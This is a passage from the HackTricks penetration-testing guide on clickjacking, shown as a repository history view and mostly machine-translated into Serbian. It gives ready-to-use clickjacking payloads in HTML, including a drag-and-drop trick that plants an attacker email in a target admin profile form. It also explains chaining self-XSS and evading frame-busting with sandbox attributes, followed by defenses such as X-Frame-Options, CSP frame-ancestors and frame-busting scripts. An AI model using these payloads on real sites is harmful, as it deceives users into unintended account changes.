hacktricks/pentesting-web/clickjacking.md

230 lines
11 KiB
Markdown
Raw Normal View History

2022-06-06 22:28:05 +00:00
# Clickjacking
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
2022-04-28 16:01:33 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-06-06 22:28:05 +00:00
2024-02-10 13:11:20 +00:00
## Šta je Clickjacking
U clickjacking napadu, **korisnik** je **prevaren** da **klikne** na **element** na veb stranici koji je ili **nevidljiv** ili prikazan kao drugi element. Ova manipulacija može dovesti do nepredviđenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, davanje kredencijala ili osetljivih informacija, transfer novca ili online kupovina proizvoda.
### Prepopunjavanje obrazaca trik
Ponekad je moguće **popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice**. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Pošalji.
2020-10-13 11:29:54 +00:00
### Popuni obrazac sa Drag\&Drop
2020-10-13 11:29:54 +00:00
Ako treba da korisnik **popuni obrazac** ali ne želite da ga direktno pitate da unese neke specifične informacije (kao što su email ili specifična lozinka koju znate), možete ga jednostavno zamoliti da **Drag\&Drop** nešto što će uneti vaše kontrolisane podatke kao u [**ovom primeru**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
2024-02-10 13:11:20 +00:00
### Osnovni Payload
```markup
<style>
2024-02-10 13:11:20 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Multistep Payload
```markup
<style>
2024-02-10 13:11:20 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### Drag\&Drop + Click payload
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
2022-06-06 22:28:05 +00:00
### XSS + Clickjacking
Ako ste identifikovali **XSS napad koji zahteva da korisnik klikne** na neki element da bi **pokrenuo** XSS i stranica je **ranjiva na clickjacking**, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link.\
Primer:\
_Pronašli ste **self XSS** u nekim privatnim podacima naloga (podaci koje **samo vi možete postaviti i čitati**). Stranica sa **formom** za postavljanje ovih podataka je **ranjiva** na **Clickjacking** i možete **prepopuniti** **formu** sa GET parametrima._\
\_\_Napadač bi mogao pripremiti **Clickjacking** napad na tu stranicu **prepopunjavajući** **formu** sa **XSS payload** i **prevariti** **korisnika** da **pošalje** formu. Tako, **kada se forma pošalje** i vrednosti se modifikuju, **korisnik će izvršiti XSS**.
## Strategije za ublažavanje Clickjacking-a
### Klijentske odbrane
Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje kako bi sprečile Clickjacking:
* Osiguranje da je prozor aplikacije glavni ili gornji prozor.
* Činjenje svih okvira vidljivim.
* Sprečavanje klikova na nevidljive okvire.
* Otkrivanje i upozoravanje korisnika na potencijalne pokušaje Clickjacking-a.
Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:
* **Bezbednosne postavke pregledača:** Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.
* **HTML5 iframe `sandbox` atribut:** Napadač može neutralisati skripte za razbijanje okvira postavljanjem `sandbox` atributa sa `allow-forms` ili `allow-scripts` vrednostima bez `allow-top-navigation`. Ovo sprečava iframe da proveri da li je gornji prozor, npr.,
2024-02-06 03:10:38 +00:00
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
The `allow-forms` i `allow-scripts` vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su `allow-same-origin` i `allow-modals` mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba omogućiti.
### Server-Side Defenses
2024-02-06 03:10:38 +00:00
#### X-Frame-Options
**`X-Frame-Options` HTTP odgovor header** obaveštava pretraživače o legitimnosti prikazivanja stranice u `<frame>` ili `<iframe>`, pomažući u sprečavanju Clickjacking-a:
* `X-Frame-Options: deny` - Nijedna domena ne može uokviriti sadržaj.
* `X-Frame-Options: sameorigin` - Samo trenutni sajt može uokviriti sadržaj.
* `X-Frame-Options: allow-from https://trusted.com` - Samo navedeni 'uri' može uokviriti stranicu.
* Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.
2024-02-10 13:11:20 +00:00
#### Content Security Policy (CSP) frame-ancestors direktiva
**`frame-ancestors` direktiva u CSP** je preporučena metoda za zaštitu od Clickjacking-a:
* `frame-ancestors 'none'` - Slično `X-Frame-Options: deny`.
* `frame-ancestors 'self'` - Slično `X-Frame-Options: sameorigin`.
* `frame-ancestors trusted.com` - Slično `X-Frame-Options: allow-from`.
Na primer, sledeći CSP dozvoljava samo uokvirivanje sa iste domene:
`Content-Security-Policy: frame-ancestors 'self';`
Dalje informacije i složeni primeri mogu se naći u [frame-ancestors CSP dokumentaciji](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) i [Mozilla's CSP frame-ancestors dokumentaciji](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
2024-02-06 03:10:38 +00:00
2024-02-10 13:11:20 +00:00
### Content Security Policy (CSP) sa `child-src` i `frame-src`
2024-02-06 03:10:38 +00:00
**Content Security Policy (CSP)** je bezbednosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.
#### `frame-src` Direktiva
2024-02-06 03:10:38 +00:00
* Definiše validne izvore za frame-ove.
* Specifičnija je od `default-src` direktive.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
Ova politika omogućava okvire sa iste lokacije (self) i https://trusted-website.com.
2024-02-06 03:10:38 +00:00
#### `child-src` Direktiva
* Uvedena u CSP nivou 2 za postavljanje validnih izvora za web radnike i okvire.
* Deluje kao rezervna opcija za frame-src i worker-src.
2024-02-06 03:10:38 +00:00
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
Ova politika omogućava okvire i radnike sa iste lokacije (self) i https://trusted-website.com.
**Napomene o korišćenju:**
2024-02-06 03:10:38 +00:00
* Deprecacija: child-src se ukida u korist frame-src i worker-src.
* Rezervno ponašanje: Ako frame-src nije prisutan, child-src se koristi kao rezervna opcija za okvire. Ako su oba odsutna, default-src se koristi.
* Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili eksploataciju.
2024-02-06 03:10:38 +00:00
#### JavaScript skripte za razbijanje okvira
2024-02-06 03:10:38 +00:00
Iako nisu potpuno nepogrešive, skripte zasnovane na JavaScript-u za razbijanje okvira mogu se koristiti za sprečavanje da web stranica bude u okviru. Primer:
2024-02-06 03:10:38 +00:00
```javascript
if (top !== self) {
2024-02-10 13:11:20 +00:00
top.location = self.location;
2024-02-06 03:10:38 +00:00
}
```
#### Zapošljavanje Anti-CSRF Tokena
* **Validacija Tokena:** Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.
2024-02-10 13:11:20 +00:00
## Reference
2022-04-05 22:24:52 +00:00
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
Koristite [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim **alatima** zajednice.\
Pribavite pristup danas:
2022-06-06 22:28:05 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Podržite HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}